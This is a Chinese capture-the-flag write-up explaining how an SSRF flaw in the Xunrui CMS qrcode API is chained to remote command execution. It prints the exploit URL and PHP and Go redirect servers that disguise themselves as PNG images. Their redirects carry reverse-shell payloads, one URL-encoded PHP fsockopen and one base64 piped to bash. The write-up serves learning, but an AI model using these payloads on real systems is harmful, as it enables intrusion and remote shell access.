国赛-easyCMS复现
第一次做CMS题
是一个讯睿的CMS:
题目提示自己加了flag.php:
<?php
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}
?>
很明显要SSRF来RCE了
去讯睿官网查讯睿的历史漏洞,有一个SSRF漏洞
qrcode存在SSRF漏洞,项目文件夹搜一下qrcode,在dayrui/Fcms/Control/Api/Api.php内,有一个应该是api接口处理的函数:
public function qrcode() {
找到SSRF的点:getimagesize()可以从本地文件系统或远程获取一张图片的信息
并且这里$thumb应该是可控的
去官方文档查一下此api的用法:
直接构造payload:?s=api&c=api&m=qrcode&thumb=http://127.0.0.1/flag.php?cmd=sleep%205&text=1&size=1&level=1
ctfshow的环境居然能打,扶了,当时比赛的时候127.0.0.1是被过滤的
利用302跳转可以绕过
vps起一个302跳转的服务,引导靶机跳转到127.0.0.1/flag.php
注意这里的cmd参数要进行url全编码
<?php
header("Location:http://127.0.0.1/flag.php?cmd=php%20%2Dr%20%27%24sock%3Dfsockopen%28%22ip%22%2Cport%29%3Bexec%28%22sh%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27",true,302);
exit();
?>
vps监听3000端口成功接收到shell
ctfshow环境问题,弹到的shell输入命令没反应,一会就断了
easyCMS_Revenge
Rev版本修了getimagesize的302跳转,但是qrcode函数里后面还有一个dr_catcher_data()也能发起请求,进行SSRF
跟进
当传入的$thumb参数为http开头的时候会进行curl_exec发起curl请求
前提是绕过之前的合法图片判断,也就是说要先让getimagesize()不为false,那就是我们的302服务要伪装成一张图片
<?php
// 打印请求者信息
$remoteAddr = $_SERVER['REMOTE_ADDR'];
$requestMethod = $_SERVER['REQUEST_METHOD'];
$requestUri = $_SERVER['REQUEST_URI'];
echo $remoteAddr . " " . $requestMethod . " " . $requestUri . "\n";
header("Location: http://127.0.0.1/flag.php?cmd=php%20%2Dr%20%27%24sock%3Dfsockopen%28%22ip%22%2Cport%29%3Bexec%28%22sh%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27");
header("Content-Type: image/png");
http_response_code(302);
$filename = 'logo.png';
if (file_exists($filename)) {
readfile($filename);
} else {
echo "File not found";
}
?>
没环境没测过,wp里写的Go服务:
package main
import (
"fmt"
"net/http"
"os"
)
func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
fmt.Println(r.RemoteAddr + " " + r.Method + " " + r.URL.Path)
// 设置 Location 头
w.Header().Set("Location", "http://127.0.0.1/flag.php?cmd=echo cGhwIC1yICckc29jaz1mc29ja29wZW4oImlwIixwb3J0KTtleGVjKCJzaCA8JjMgPiYzIDI+JjMiKTsn|base64 -d|bash")
// 设置 Content-Type 头
w.Header().Set("Content-Type", "image/png")
// 设置状态码 302
w.WriteHeader(http.StatusFound)
// 读取并写入 logo.png 文件内容
bs, err := os.ReadFile("logo.png")
if err != nil {
http.Error(w, "File not found", http.StatusNotFound)
return
}
w.Write(bs)
})
http.ListenAndServe(":8888", nil)
}
Comments NOTHING